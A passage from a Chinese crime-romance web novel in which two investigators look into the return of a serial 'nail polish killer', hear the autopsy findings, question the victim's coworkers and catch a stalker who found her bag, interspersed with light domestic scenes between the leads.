程述:“对,我就是担心你。”
习惯了他平时的喜怒不形于色,这个直截了当、毫不掩饰的回答反而让祝好吃了一惊。
她愣神片刻,佯装毫不在意地嗐了一声:“担心我干什么……放心吧,我不会有事的。”
程述没吭声,神色依旧凝重,眼神空茫茫地落向前方,不知在想些什么。
祝好凑到他面前,用手肘碰了碰他:“诶,老大,你不会突然玩消失吧?”
程述不明所以:“我为什么要突然玩消失?”
“电视剧里不总是有那么一种人吗?自己身陷某种风波,为了不连累身边的人,就只身去山林里隐居,一个人默默承担所有。”祝好摆出一副一本正经的模样:“你可不能学他们啊。”
程述一愣,嘴角勾起若有似无的笑:“为什么,你舍不得我啊?”
祝好嘁了一声:“谁舍不得你了,不过白眼狼吃得那么多,我一个人可养不活它。”
程述终于绷不住笑出声,无奈地摇了摇头。
祝好问:“心情好点儿了?”
“一点点吧。”
祝好指了指方向盘:“那你好好开车,我可不想还没遇着指甲油杀手,就先死在你方向盘下了。”
程述嗯了一声,默不作声地启动了车子,四平八稳地朝前开去。
*
从案发现场回到家时已经是深夜。
白眼狼正跟一个纸箱缠斗,听到开门声,毅然决然地抛下“敌人”,喵喵叫着冲上前迎接两脚兽的归来。
祝好绕过堆在门前的纸箱,看着屋里满地狼藉,头疼地叹了口气:“老大,今晚我怎么睡啊?”
白天程述执意要把祝好的床和衣柜换成新的,还添置了书桌和梳妆台,家具虽然都已经安装好,但阁楼还没来得及收拾。本来打算花一天时间把阁楼整理、打扫一遍,没想到案子突然来了,他们只得匆匆出门。
程述也没料到这茬,抓了抓后脑勺:“要不你睡我房间吧。”
祝好:“啊?”
意识到这句话的歧义,程述尴尬地咳了一声:“……我的意思是,我睡沙发,你去我房间睡。”
祝好松了口气:“哦,原来是这个意思啊。”
程述没好气道:“不然你以为是什么意思?”
“我还以为……”祝好差点儿把脑子里的念头说出来,赶紧缄口,生硬转移了话题:“没、没什么。那你睡沙发……会不会不舒服?”
程述无奈地笑了一声:“那么关心我,要不你来睡沙发吧。”
不等祝好回应,他又开口催促:“别啰嗦了,赶紧去洗澡,我帮你把床单换了。”
哗啦啦的热水洗去一身疲惫,祝好从洗手间里出来时,程述正把一张毯子铺在沙发上。
祝好一眼就认出他手里的毯子跟梦里那张一模一样,回忆起那些旖旎的画面,耳尖不由得有些发烫,赶紧心虚地移开视线。
程述没注意到她神色的变化,说道:“床单、被子和枕套都已经换了新的,如果这几天没空收拾阁楼,你就先在我房间里睡吧。”
祝好也不推辞,点了点头,走进房间刚要把门关上,程述突然叫住她:“祝好。”
“嗯?”
他欲言又止,最后还是把话咽了回去,只说:“早点休息,明天可能要起很早。”
祝好不解,不论是警方核对信息还是等尸检结果出来都需要时间,虽然她也想尽快得到线索,但也不至于起太早吧?
程述没过多解释,转身进了洗手间。祝好也锁上门,在床上躺下。
床单虽然是新换的,鼻间却萦绕着熟悉的沐浴露香气,祝好翻来覆去好半天,丝毫没有睡意。
只要一闭上眼睛,今天那个受害的女孩儿和程霜的身影,还有照片上所有受害者那一张张曾经鲜妍的笑脸总是在脑海里不停回闪。
她们还那么年轻,未来的生活本可以拥有无限的可能,却因为某种偶然和巧合承受了无妄之灾,变成了一条新闻、一个数据,带着她们名字和照片的资料被锁进档案柜里,随着纸页泛黄,逐渐被人遗忘。
而这一切的始作俑者,却仍在某个不为人知的角落里享受着恶行带来的快感,甚至还耀武扬威地挑衅曾经的受害者家属,试图亲手撕下他们心头那道永不愈合的伤疤。
祝好打开台灯,拿起程述放在床头的那张全家福。她轻轻抚摸着照片上程霜的笑脸,喃喃自语:“放心吧,小霜,他一定会受到应有的惩罚。”
第183章
祝好不记得自己是什么时候睡着的,甚至不确定自己到底睡了多久,就在迷迷糊糊中被一阵敲门声吵醒了。
她睁开眼睛,先是看着周围的环境迷茫了片刻,才反应过来自己睡在程述的房间里。
程述的声音从门外传来:“祝好,起床了。”
窗外天才刚蒙蒙亮,祝好摸过放在床头的手机,打开屏幕看了一眼,清晨六点半。这一定是在做梦,而且还是个噩梦。
她放下手机,翻了个身打算继续睡,可敲门声却没有停歇的意思。
程述拖长音调叫她的名字:“祝——好——”
祝好无奈地从床上坐起来,问道:“怎么了?”
“起来,跟我去跑步。”
祝好:?
她扶着额角,不耐烦道:“我什么时候说要跟你去跑步的?”
程述说得理直气壮:“不是跟你说了今天要早起吗?快,给你十分钟时间换衣服。”
早起?祝好这才想起来昨晚他的确说过今天要早起,但他也没说早起是要去跑步啊。
她重新躺下,用被子蒙住脑袋:“我不去,我要睡觉。”
程述不肯罢休:“我数到三,你不起来我就进去掀你的被子了。三,二……”
祝好没理会他,反正昨晚睡觉之前门已经被她反锁了,她才不信程述有办法进来。
“一!”
下一秒,身上的被子“哗”地被掀开,祝好如被火烙,蹭一下从床上弹起来,像见鬼一样指着站在床边的程述:“你、你怎么进来的?”
程述抱着双臂居高临下地看着她:“我有没有跟你说过,我房间的门锁是坏的,根本反锁不了?”
祝好:……
程述朝她扬了扬下巴:“赶紧起来。”
他的语气不容置疑,但祝好还是不情愿:“为什么一定要大早上起来跑步啊?”
“练好体能,遇到危险的时候能跑得快一点。除了跑步之外,我之后还会慢慢教你一些基础的防身术。”程述把放在床尾的衣服扔到她身上:“赶紧换衣服,如果你十分钟内能出门,今天可以少跑一公里。”
祝好已经记不得自己上一回正儿八经地跑步是什么时候了——跟温珣一起被绑架那次不算,毕竟当时情况紧急,肾上腺素飙升,根本不会觉得累。
而现在刚跟着程述在附近小公园的跑道上跑了两圈,她就已经累得扶着路边的树哼哧带喘了。
程述往前跑出一段,回头看到她没跟上,又退了回来:“还没到休息的时间,继续。跑步的时候重心前倾,后脚跟抬高,前脚掌着地,注意呼吸的方式。”
祝好举双手求饶:“老大,你放过我吧。”
练什么体能啊,反正现在积分足够多,要真碰到危险的情况,不停用积分换体力也是一样的。
程述恨铁不成钢:“不行,万一你那什么积分全用光了怎么办?”
祝好不想费口舌跟他争辩,只得退一步:“那你让我歇会儿,我真的不行了。”
程述想了想,妥协了:“行吧,你歇十分钟,我去买瓶
水。”
祝好点点头,刚要在路边的石墩上坐下,屁股还没沾地,又被他一把拎起来:“跑完步不能马上坐下,会引起大脑缺氧,你原地慢走就行。”
昨天他直白地对祝好说出那句“对,我就是担心你”的时候,祝好心里还是有那么一丝感动的,可现在她只觉得这份担心实在太沉重了,不仅要六点半起床跑五公里,好不容易歇一会儿甚至还不能坐下。
在原地僵尸步转了几圈后,程述拎着两瓶矿泉水回来了,把其中一瓶拧开瓶盖的递给祝好。
祝好接过水仰头刚要喝,又被他一把夺走:“记住,不是当着你的面拧开的水不准喝,不管对方是什么人。”
祝好窝了一肚子火,刚要捏紧拳头,他又把水重新递回来:“当然,除了我。”
祝好:……
终于断断续续地跑完了几公里,又在回家的路上吃了碗小馄饨作早餐。回到家里,祝好洗了个热水澡,本以为会筋疲力竭,没想到竟然神清气爽,甚至比平时晚起还要精神一些。
*
警局。
法医室里传出一声惊天动地的哭喊,过了一会儿,两名女警搀扶着一个头发花白、双膝瘫软的中年女人从里面走出来,朝接待室的方向去了。
“那是受害者的母亲。”秦聿风低声解释:“受害者的父亲两年前去世了,只剩母女俩相依为命。”
祝好转头望着她们消失在走廊尽头的背影,心口仿佛压了一块沉甸甸的冰碴。
又一个家庭从此支离破碎,这位母亲的余生都将被历久弥新的痛苦填满,可一切的始作俑者却仍在逍遥法外。
耳边传来一声微乎其微的叹息,祝好循声看向程述,尽管他一再按捺,那张面无表情的脸上还是出现了一丝裂隙,但他很快敛起情绪,率先转身朝会议室走去。
警局对沉寂多年的指甲油杀手重新出现这件事十分重视,会议室里坐满了人,几乎所有没有任务在身的警员都到齐了,连局长也捧着保温杯坐镇其中,但大家的脸色显然都不太好看。
祝好被满屋子呛人的烟味熏得直皱眉,程述用余光瞥了她一眼,起身推开了后门,又朝坐在前排的秦聿风使了个眼色,示意他把窗户打开。
初春沁凉的风穿堂而过,驱散了一室的烟熏火燎。局长清了清嗓,往前一倾身,宣布会议开始。
经过走访调查,河堤上发现的那具尸体的身份很快被核实。死者名叫夏嫣,二十五岁,不是淮江市本地人,生前在一家餐馆当服务员。
一身白大褂的温珣在众人的目光中,用激光笔指向白板上的照片:“死者被发现时,全身尸僵和尸斑已固定,手指按压尸斑不会消失,体温下降明显,推测死亡时间超过十二小时。死因是锐器刺击心脏致急性心包填塞合并失血性休克,致命伤在左胸骨旁第4肋间,从伤口形状上看,凶器应该是一把单刃匕首。”
他推了推眼镜,继续道:“另外,死者颈部有明显索沟,身上有多处刀伤,均属于生前伤。反抗痕迹轻微,只有四肢被捆绑的地方有轻微的擦伤。”
有警员提出:“会不会是凶手提前给受害者下了药?”
温珣不置可否:“我已经提取了死者的心血,正在进行化验。”
现场勘查中并没有发现周围有可疑的血迹,说明不是第一案发现场,凶手是将死者杀害后才把尸体带到那儿的。
局长若有所思地抿了口茶水,拧紧保温杯的瓶盖,问道:“抛尸时间能确定吗?”
温珣回答:“从死者身上伤口的形态来看,她被杀害时应该是呈卧姿,可她的尸斑却集中在下半身,也就是说,她死后的十二小时内,尸体曾被移动过。”
秦聿风接过话:“死者被发现时身上已经被雨淋湿透了,结合天气预报和在附近钓鱼的市民的证词,可以推断出抛尸时间是在前一晚的凌晨一点到五点之间。”
局长略一点头,微不可察地瞥了程述一眼,问道:“听说在案发现场发现了上一名受害者的照片?”
秦聿风:“对,经过鉴定,可以确定照片没有伪造的痕迹。”
“那指甲油呢?”局长问:“指甲油的成分,跟之前是一样的吗?”
温珣:“是的,指甲油的成分与五年前使用的是同一种。”
局长脸色微沉,重重地叹了口气:“你的意思是,指甲油杀手又出现了?”
顿了顿,还是有些不确定,又看向程述,问出了跟祝好昨天一样的问题:“这回真的不是模仿作案?小程,你有什么看法吗?”
众人纷纷把目光投向程述,他却没应声,一言不发地盯着手中尸检报告,眼神没有聚焦,不知在想些什么。
祝好用胳膊肘碰了碰他,提醒道:“老大,问你话呢。”
程述回过神来,把尸检报告放在桌上,说道:“凶手的目标偏好、作案手法和行为模式都与指甲油杀手一模一样,加上他放置的照片,我觉得……可以排除模仿作案。
他缓缓掀起眼皮,对上朝他投射而来的一道道目光,一字一顿道:“是他没错,他又回来了。”
众人闻言一片哗然,嗡嗡的讨论声回荡在会议室中。
这二十多年间,指甲油杀手从横空出世到突然消失,警方一直被他牵着鼻子走,除了他主动寄出的照片和信件之外,却从未觅得任何关于他的蛛丝马迹。
五年前,程述的主动出击让他险些露出马脚,他恼羞成怒,杀害了程霜作为报复,随后便没再犯案。
可沉寂了五年后,他又再度出现,并且还留下了除了红色指甲油之外的另一个标志,那就是在尸体上放置上一名受害者,也就是程霜遇害时的照片,照片背面还写上了“勿忘我”,这无疑是对警方赤裸裸的挑衅。
更多的疑问也随之而来:
过去的二十多年时间里,指甲油杀手一直保持着两三年犯一次案的频率。可五年前,他的作案频率突然增高,却又在杀害程霜之后戛然而止。这究竟是为什么?
在他消失的这段时间里,他去了哪儿,又经历了什么?
而现在,他又为什么会突然出现?
但有一点所有人都明白:警方在明,指甲油杀手在暗。第一名受害者的出现只是个开端,谁也说不准他什么时候会对下一位受害者下手。
散会之后,秦聿风叫住程述:“我要去夏嫣工作的餐厅问问情况,你们跟我一起吧?”
第184章
夏嫣几年前从周边的小县城来到淮江市打工,辗转换了几份工作后在一家茶餐厅当起了服务员。
这家茶餐厅规模不算大,主要的客户群体是CBD周边企业的基层白领,每到午饭和晚饭时间
都人满为患。
餐厅老板接到电话后在门口站了许久,才等来了秦聿风的车。他指挥秦聿风把车停在门前的停车位上,恭恭敬敬地把他们迎进店里。
下午三点多正值餐厅最清闲的时候,除了几桌喝下午茶闲聊的客人,大部分餐桌都是空荡荡的。
秦聿风找了张靠近角落的桌子坐下,朝坐在对面的老板礼貌一颔首,开门见山道:“打扰了,我们这次来,主要是想跟你了解一下夏嫣的情况。”
老板是个四十多岁的中年男人,他四处张望一番,有些局促地搓了搓手:“你们问,我一定配合。”
“夏嫣平时为人怎么样?”
“人很老实,工作挺认真的,从来没接到过什么投诉,至于她的私生活我就不是很了解了。”老板抱歉地笑了笑,又说:“不过她跟其他两个女员工合租,她们应该比较了解。”
说完朝着站在收银台旁、正好奇地往这边张望的两个女孩摆了摆手,示意她们过来,并起身给她们让了位置。
两个服务生在对面坐下,祝好注意到她们身上穿的正是跟夏嫣被害时一样的白衬衫和黑色西裤。
秦聿风问:“你们平时跟夏嫣的关系怎么样?”
其中一个服务生回答:“还行吧,她性格比较内向,话不多,不过还挺好相处的。”
“最近你们上班时,有没有注意到餐厅里有什么奇怪的客人?”
程述补充:“男性,年龄大概四十到五十岁之间,总是会时不时盯着夏嫣看。”
两个服务生面面相觑,不约而同地摇了摇头,回答道:“我们这儿的客人都是年轻人为主。”
秦聿风又问:“那夏嫣有没有跟什么人有过矛盾?”
“矛盾倒是没有,不过……”服务生欲言又止,下意识转头看向坐在一旁的老板。
秦聿风意会,对老板道:“您先去忙,不用在这儿坐着。”
老板听出他话里赶人的意思,似乎有什么顾虑,但还是应了一声,起身一步三回头地离开了。
看着老板的背影渐远,服务生才继续说:“后厨有个员工叫陶斯然,一直在追求夏嫣,还跟踪过她好几回。”
秦聿风眉头一皱,问道:“这事儿老板也知道?”
服务生说:“知道,夏嫣向老板投诉过,但陶斯然是老板的远方亲戚,而且他除了跟踪之外也没什么更过分的举动,所以老板每次都找借口敷衍过去了。”
秦聿风没就这个问题继续探究,转而问道:“听说你们跟夏嫣合租,住的地方离这儿远吗?”
“走大路的话不远,骑共享自行车大概也就十分钟,但走路的话要差不多半个小时。”
祝好敏锐地捕捉道她们话里的重点:“大路?也就是说还有其他的路吗?”
服务生点点头:“有一条近路比大路要快二十分钟,不过中途会路过一片拆得差不多的老旧小区,晚上几乎没人,很多路灯都是坏的,没有伴儿的话我们一般不会走那里。”
说着她拿出手机点开地图,分别把两条路指给祝好看。
她们说的那条大路是一条主干道,车来车往,沿途全是商铺,确实比小路要安全许多;小路虽然人烟稀少,但几乎是一条直线把她们租的房子和餐厅连起来,比走大路要省时不少。
按照夏嫣失踪的时间推算,她应该是那天下班后遇害的。假设她因为没有找到共享自行车,又心疼打的的钱,说不定会选择冒险抄近路回家,这也就给了指甲油杀手下手的机会。
秦聿风重新叫来老板,问道:“夏嫣出事那天晚上是几点下班的?”
老板说了句“稍等”,掏出手机查询打卡记录:“记录显示是晚上十一点。我们一般是十点钟打烊,不过她那天上的是晚班,营业结束后还需要清点物资和做一些简单的卫生。”
秦聿风又问:“当天跟她一起上晚班的都有谁?”
老板低头翻看了手机里的值班表,很快给出几个名字。除了夏嫣外,还有三男三女一共六名员工,陶斯然的名字赫然也在其中,而且他打卡离开的时间只跟夏嫣前后相差不过五分钟。
在秦聿风的示意下,老板又打开那天晚上餐厅里的监控。监控上显示,在夏嫣离开没多久,陶斯然就急匆匆跟了出去。
秦聿风指着陶斯然的名字问道:“他现在在店里吗?”
老板一愣,大概也猜到服务生都说了些什么,无奈地瞥了她们一眼,说道:“他今天应该是晚班,现在离上班时间还有半个小时。”
顿了顿,又补充道:“警察同志,虽然我跟陶斯然是有那么点儿沾亲带故,但也不会包庇他的。夏嫣跟我投诉他那会儿我也找他问过了,那小子就是喜欢夏嫣又不敢表白而已,也没做什么过份的事。”
程述冷笑一声:“偷偷摸摸跟踪女孩回家,还不算是过分的事?”
老板噎住,一时无言以对,只好拿起手机讷讷地问道:“那……我给他打个电话让他提前来吧。”
“不用。”秦聿风抬起手,掌心向下压,阻止了他:“我们在这儿等会就行。”
如果陶斯然真的跟夏嫣的死有关或者知道写什么内幕,那么提前给他打电话无异于打草惊蛇,给了他逃跑的时间,还不如就留在餐厅里守株待兔,等他自己送上门。
把老板打发走后,秦聿风请服务生送了几杯水来。趁着程述上洗手间的当儿,他凑近祝好,压低声音问道:“祝好,老程他没事吧?”
祝好知道秦聿风是担心指甲油杀手的突然出现会让程述失控,从而做出什么不理智的举动。
亲生妹妹的死曾经令程述深陷愧疚与遗憾的囹圄,为了逃避压在肩头的负罪感,他甚至依靠酒精来麻痹自己。回想起第一次在医院里见到程述时,那双漆黑的眼睛里写满了焦躁、愤怒以及滔天野火般熊熊燃烧的恨意。
但目前看来,除了看到程霜遇害的照片时情绪出现些许波动和偶尔的失神,他一切都还挺正常。
祝好突然意识到,已经很久很久没在程述的眼睛里看到过跟那天一样的情绪了。
于是她实话实说:“应该没事。”
不仅没事,甚至还有精神六点半拉她起床跑了五公里。
秦聿风欣慰地呼了口气:“那就行,看来我的担心是多余的,多亏有你,这半年多他的状态好了不少。”
什么叫“多亏有你”?祝好愣怔片刻,只觉这份功劳来的有点莫名其妙:“跟我有什么关系?”
秦聿风自觉失言,哑然一笑,但只是摇了摇头,什么也没说。
祝好刚想追问,程述就朝这边走回来了,在他坐下后,秦聿风自然地转移了话题:“老程,如果这个案子真的是指甲油杀手干的,他选中夏嫣是临时起意,还是早有蓄谋?”
程述从桌上抽了张纸巾擦干手上的水,垂着眼说道:“不会是临时起意,他应该盯上夏嫣有一段时间了。”
秦聿风:“怎么说?”
程述把那张纸揉成一团,双眉微微蹙起:“指甲油杀手很谨慎,按照他的习惯,他在选定受害者之后,一定会提前把她们的生活习惯和日程摸得很清楚,确保在下手的时候能够万无一失。”
祝好接过话:“根据和夏嫣合租的舍友说,夏嫣一般都是踩共享自行车走大路回家的,很少会选择抄近路,指甲油杀手应该观察她一段时间了,所以才能准确无误地在她走那条小路时对她下手。”
秦聿风若有所思地点点头。
说话间,已经到了周边企业的下班时间,餐厅里的客人越来越多,服务生也开始忙碌起来。
过了一会儿,老板领着一个中等身材、留着板寸的男青年从后厨出来。男青年身上的外套还没来得及脱下,脸上露出茫然的神色,显然是刚到餐厅没多久就被老板带过来了。
老板满脸堆笑,介绍道:
“警察同志,这位就是陶斯然。”
“警察?”陶斯然听到这两个字,脸色突变,下意识挣开老板的手,向后退了一步。
秦聿风站起身,朝他亮出证件:“陶斯然,关于夏嫣的事……”
他话音未落,陶斯然突然一把推开老板,转身往餐厅门口冲去,路上又哐当撞倒了正在点菜的一名服务员。
众人还未反应过来,程述也已经拔腿朝着他的背影追了出去。
正值饭点,餐厅里人头攒动,陶斯然凭借身材优势在餐桌和人群之中不停穿梭,横冲直撞,客人的尖叫声接二连三响起,顿时一片混乱。
眼见他就要夺门而出,程述毫不迟疑一脚踩上靠近门口的桌子,在一片惊呼声中飞身往前一扑,顺势把陶斯然带倒在地上。
秦聿风和祝好拨开围观的人群赶到门口时,陶斯然正趴在门前的地板上,两条胳膊被程述反扭在身后,疼得嗷嗷大叫。
秦聿风赶紧上前薅住他的肩膀,把他从地上拎起来,厉声喝道:“你跑什么!”
陶斯然一愣,突然嚎啕大哭起来:“真的不是我,不关我的事啊,我也不知道她会出这样的事!”
秦聿风和程述对视一眼,转向站在一旁目瞪口呆、手足无措的老板:“老板,麻烦你给我们找个安静的地方。”
第185章
秦聿风关上员工休息室的门,转向臊眉耷眼缩在椅子上的陶斯然,问道:“你知不知道我们为什么找你?”
陶斯然头也不敢抬,低声狡辩:“不、不知道。”
程述转动刚才摔疼的手腕,冷笑了一声:“不知道?那你为什么要跑?”
陶斯然被他笑得心头发瘆,讷讷道:“因为我怕你们怀疑我。”
“怀疑你什么?”
“怀疑我……”陶斯然僵硬地抬起头,十分不自然地看了秦聿风一眼,声音越来越小:“怀疑我……杀了夏嫣。”
秦聿风沉下脸色:“你没做过的事,我们为什么怀疑你?”
他声线冷厉,颇有种不怒自威的感觉。陶斯然吓得猛地一哆嗦,话都说不利索了:“我……我真的什么也没做。”
秦聿风懒得再跟他兜圈子,叩了叩桌面,问道:“那天夏嫣离开餐馆时,你是不是跟踪她了?”
陶斯然急切地摇头辩解:“不是跟踪,我只是想保证她的安全……”
说着他咽了口唾沫,心虚的眼神四处乱飘,却一直落不到实处。
秦聿风故作不耐烦地叹了口气:“夏嫣被杀害,你有很大的嫌疑。如果你不交代清楚,就跟我回一趟警局吧。”
陶斯然一看就是个心理素质不太好的主儿,一听到要回警局,吓得都快要跪下了,赶紧摆手:“不不不,我说。”
秦聿风朝他扬了扬下颌,示意他把事情从头到尾讲清楚。
陶斯然垂着头,有意无意地抠着指甲,嗫嚅道:“那天我本来提出要送她回家的,但是她不愿意,我看到她往那条小路的方向走,担心她的安全,就悄悄跟了上去,结果半路被她发现了,把我骂了一顿,还说再跟着她就要用防狼喷雾滋我。”
说到这儿,他刻意拔高了嗓门,试图掩饰声线中的底气不足:“我本来出于好意想保护她,结果挨了一顿骂,自讨没趣,就转身走了。”
如果只是单纯的跟踪,不至于让他一听到“警察”两个字就跟见鬼似的跑得飞快,他一定还隐瞒了其他事情。
程述静静地盯着他:“就这样?”
陶斯然嘴角轻轻一抽,默不作声地点了点头,目光却没有从程述脸上挪开,显然是在观察他究竟有没有看穿自己的谎言。
这点小把戏逃不过程述的眼睛,他向后一靠,要笑不笑地说了句:“老秦,把他带回去吧,他没说实话,说不定人就是他杀的。”
陶斯然浑身一颤,脸色由红转白,生怕真的被扣上“杀人犯”的帽子,赶紧全盘托出:“真不是我,我没杀人!我只是……其实那天晚上,我走到一半还是不放心,想了想,又折返回去,但一路上都没再看到夏嫣,只在路边捡到了她的包。”
秦聿风眯起眼睛打量着他:“你说你捡到了她的包?”
陶斯然忙不迭点头:“对,我本来想给她打个电话,却听到铃声在附近响起,我顺着声音找过去,就、就发现她的包落在路边。”
“刚才为什么不说?”
陶斯然恨不得把脑袋埋进胸口里:“我怕……我怕说不清楚,你们会更加怀疑我。”
秦聿风下颌抽了抽,最后还是把骂人的话咽了回去,无奈地问道:“包在哪儿?”
“在……我摩托车的储物箱里。”
程述直接伸手从他裤子口袋里掏出钥匙,转身离开了休息室,不一会儿就拎着一只帆布包回来了。
帆布包是白色的,上面沾了不少泥水。包里都是些年轻女孩常用的东西,口红、气垫、护手霜、纸巾,还有一支防狼喷雾。
夏嫣的手机也在包里,只是手机已经没电了,就算充上电开机也没有密码,于是秦聿风暂时把手机收回包里,转头问蜷缩在一旁的陶斯然:“你捡到包时,就没觉得有什么不对劲吗?”
陶斯然怯怯地摇头:“我、我真没多想,还以为她是不小心把包落下了,本来想着第二天还给她,没想到……”
说到这儿,他忽然问:“警察同志,夏嫣真的是被那个什么指甲油杀手害死的吗?”
秦聿风斜睨他一眼,冷冷道:“不该问的别问。”
陶斯然惶恐地哦了一声,低下了头。
餐厅已经恢复了部分营业——之所以说是部分,是因为刚才的追逐中店里的桌子、椅子被推得乱七八糟,客人也被吓跑了大半。
老板边指挥服务生打扫卫生,边点头哈腰跟客人道歉,看到秦聿风架着陶斯然从员工休息室出来,他的脸色很不好看,但还是陪着笑道:“警察同志,我这侄子……”
秦聿风提了提陶斯然的领子:“他是案子的重要证人,我得带他回局里做份笔录。”
说着扫了眼横七竖八的桌椅,说道:“不好意思啊,把你这餐厅弄得那么乱。”
老板狠狠剜了陶斯然一眼,又看向一脸理所当然、丝毫没有愧疚之心的程述,极不情愿却又无可奈何道:“没事,配合警察办案……应该的。”
从餐厅出来,他们没有马上回警局,而是先带着陶斯然去了那条小路。
这是一条废弃的巷弄,地上还有雨后留下的水洼,路边堆砌着不少乱石碎瓦,青苔在灰白色的墙上洇出暗绿色的潮痕。此时天已经暗了下来,暮色宛如滴在清水里的墨汁,顺着被砖墙切割的天空晕染开。
巷子的确很安静,除了他们交叠的脚步声,就只有悬在墙头的枯藤和已经褪色的广告随风哗啦啦作响。
程述提着陶斯然的后领,问道:“你那天晚上跟踪夏嫣到了哪儿?”
陶斯然左右张望了一会儿,把他们带到一根电线杆前:“就这儿,我记得墙上的这个涂鸦。当时她察觉到有人在跟着她,一开始好像还有点儿害怕,发现是我之后就对着我破口大骂,还让我赶紧滚。”
“那你又是在哪儿捡到的包?”
陶斯然比划了一下:“就离巷子口不远,大概不到二十米吧。”
程述接着问:“距离你第二次折返回来,中间隔了多久?”
陶斯然想了想:“当时我从电线杆那儿走回餐厅,蹲在门口抽完了一只烟,才又重新返回去的,中间大概……不超过半个小时。”
“捡到包之后,你去了哪儿?”
这回陶斯然答得毫不犹豫:“回餐厅门口把摩托车开走了,然后就去了一家酒吧喝酒,一直喝到凌晨两三点才回家。”
走到巷子口后再过个马路就能到夏嫣租住的房子,以电线杆为起点的话,跟巷子口就只有五六百米距离,但一路上却还横插着两三条小巷,巷子里是不少破落的砖房,腐朽的木门几乎成了摆设,一推就能开。
如果指甲油杀手想要寻求一个方便藏身又不易被发觉的地方,这儿简直有太多选择了。
连绵不断的春雨冲洗掉了不少痕迹,没有人知道在那个漆黑的夜里,夏嫣看着巷子口近在咫尺的亮光,经历了怎样的绝望。
秦聿风打电话叫来了痕检科的警员,让他们在以巷子为中心的半径一公里拉起警戒线,一间一间房、一个角落一个角落地找,不能放过任何一个细节。然后又把垂头丧气的陶斯然塞进车里,带他回警局做笔录去了。
这些事情祝好和程述都不用参与,他们在附近随便找了家苍蝇馆子解决了晚饭,开车回了家。
洗澡的时候,祝好才发觉全身的肌肉无比酸痛,不用想,这一定是早上跑了五公里留下的后遗症。
家里一地狼藉陆陆续续收拾了一半,但阁楼的床还是没铺好,祝好也懒得再去折腾了,决定死皮赖脸继续在程述房间里住一晚上。
程述正坐在沙发上翻看资料,听到她从洗手间里出来的动静,眼皮也不抬地说了句:“早点睡,明天准时起床跑步。”
祝好没好气地抱怨:“还跑啊?
我全身又酸又痛的,腿都快抬不起来了。”
程述淡淡地回道:“就是因为你平时运动量太少了,所以才会出现延迟性的肌肉酸痛。”
白眼狼叼着玩具老鼠扔在祝好脚下,抬起头眼巴巴看着她,鸡毛掸子似的大尾巴扫过她的小腿。
祝好弯腰捡起脚边的玩具老鼠往远处一扔,走到沙发上坐下:“你怎么不说是你太狠了,知道我平时运动量少还一下子让我跑五公里,就不能循序渐进吗?”
程述轻笑一声:“怎么还会讨价还价了?行吧,那明天先跑四公里。”
这话说的,好像少跑一公里是多么仁慈的事情似的。
祝好捶着自己的大腿哀嚎:“好老大,你就不能让我歇一天吗?”
程述丝毫不吃这套:“不行,哪有才跑了一天就休息的道理。”
眼看他不肯让步,祝好气得咬牙切齿:“我就知道你是这样一个冷酷无情,铁石心肠,刻薄寡思,不近人情,薄情寡义……的恶毒老板。”
程述憋了半天,还是绷不住笑出声来,把手中的资料卷成纸筒往她脑袋上一敲:“你是成语大全啊?趴下,我帮你按一按腿放松肌肉,明天跑完步拉伸的时候别偷懒,肌肉就不会酸痛了。”
祝好将信将疑:“帮我按腿?你什么时候那么贴心了?”
在她的印象里,只要程述突然变得贴心,准是又在谋划什么坏事。
程述斜了她一眼:“我只给你一次机会,不按就赶紧回房间去睡觉。”
祝好:“当然按!”
老板的羊毛不薅白不薅,好不容易逮着机会使唤他,怎么能轻易放过呢?
第186章
祝好脸朝下趴在沙发上,想想还是不放心,回头叮嘱道:“说好了,你可不能太使劲儿,别趁机报复我。”
程述不耐烦地啧了一声:“知道了。”
他把双手搭在祝好的腿肚上缓缓向上推按,用指腹轻轻揉捏紧绷的肌肉,力度把握得恰到好处,酸痛与舒适的感觉交织着,既能缓解疲劳,痛感又不会太明显。
祝好夸他:“老大,你这手法不错啊,跟我有的一拼。你跟谁学的?”
程述嗤笑:“按摩有什么难的,你以为就你会?”
虽然嘴上这么说,但他似乎对这样的夸奖很受用,嘴角不自觉往上勾起。祝好趁热打铁,反手指了指自己的腰:“那顺便帮我把腰按一按吧,我后腰也好酸。”
程述愣了一下,喉结上下一滑动,有些迟疑:“……后腰?”
祝好好不容易逮到机会使唤他,完全没注意到他的异样,催促道:“快点儿,等我身上不疼了明天才有力气跑步。”
他深吸一口气,似乎是陷入了某种犹豫,纠结许久,温热的手掌才沉沉落下,虚扶着祝好的侧腰,拇指不轻不重、却又明显小心翼翼地在她后腰上从上往下按压着。
掌心的温度隔着睡衣的料子传来,按到腰窝的位置时,他的动作突兀地停滞住了,手触电般撤离:“差不多了,你……你先回房间睡觉吧。”
明明才刚开始,怎么就差不多了?
祝好不满,刚想撑起身子埋怨,脑袋却被他一把摁进枕头里。他干咳一声,声音有些发涩:“算了,明天让你歇一天……后天再跑吧。”
说完猛地起身后退,仓促地转头进了洗手间,路上还差点被撒娇的白眼狼绊倒。
不一会儿,上锁的洗手间里就传出哗哗的水声。
怎么又洗澡,刚刚不是洗过了吗?
祝好嘟囔着从沙发上爬起来,心说不管怎么样,只要不用跑步就行了。
白眼狼在洗手间门口守望了一会儿,迟迟没见程述出来,便把撒娇的目标转向祝好,先是竖起大毛尾巴围着她转了一圈,又跑到冰箱前面坐下,缓缓朝她眨了眨眼睛。
自从被医生勒令减肥后,白眼狼的零食先是从从普通罐头变成了低脂罐头,可坚持了半个月,体重有增无减,只能把原本一天一个的罐头分成两天吃。
它知道昨天吃剩的半个罐头还放在冰箱里,嗷嗷叫唤了两声,然后往地上一躺,一副吃不到罐头就不起来的架势。
祝好轻叹一声:平时看着傻不拉几的,这种时候倒是聪明得很。
她打开冰箱,把用保鲜膜封好口的半个罐头拿出来放进白眼狼的猫碗,又往里加了点烧开的热水搅匀,刚要把碗放到地上时,突然意识到了什么,着急忙慌把冰箱打开。
冰箱的角落里原本躺着不少啤酒,都是半年前剩下的,除了偶尔用来做菜之外几乎没再动过,可是现在怎么一瓶也不剩了?
那天晚上的梦境猝不及防闯进脑海里,祝好嗓子发紧,不自觉咽了下口水。
怎么回事,难道那天晚上真的不是在做梦?
她正胡思乱想,洗手间的门突然打开了,程述裹挟着一身冰凉的水汽从里面走出来,视线落在她身上又猝然移开:“你怎么还不回房间睡觉?”
“我……”祝好一愣,也赶紧挪开目光,转移话题:“我给白眼狼喂罐头,马上就回去。”
说完匆匆忙忙关上冰箱,转身进了房间里,把椅子抵在门后。
她躺在床上做了个深呼吸,等心情逐渐平复,才点开了那天晚上的剧情回顾。
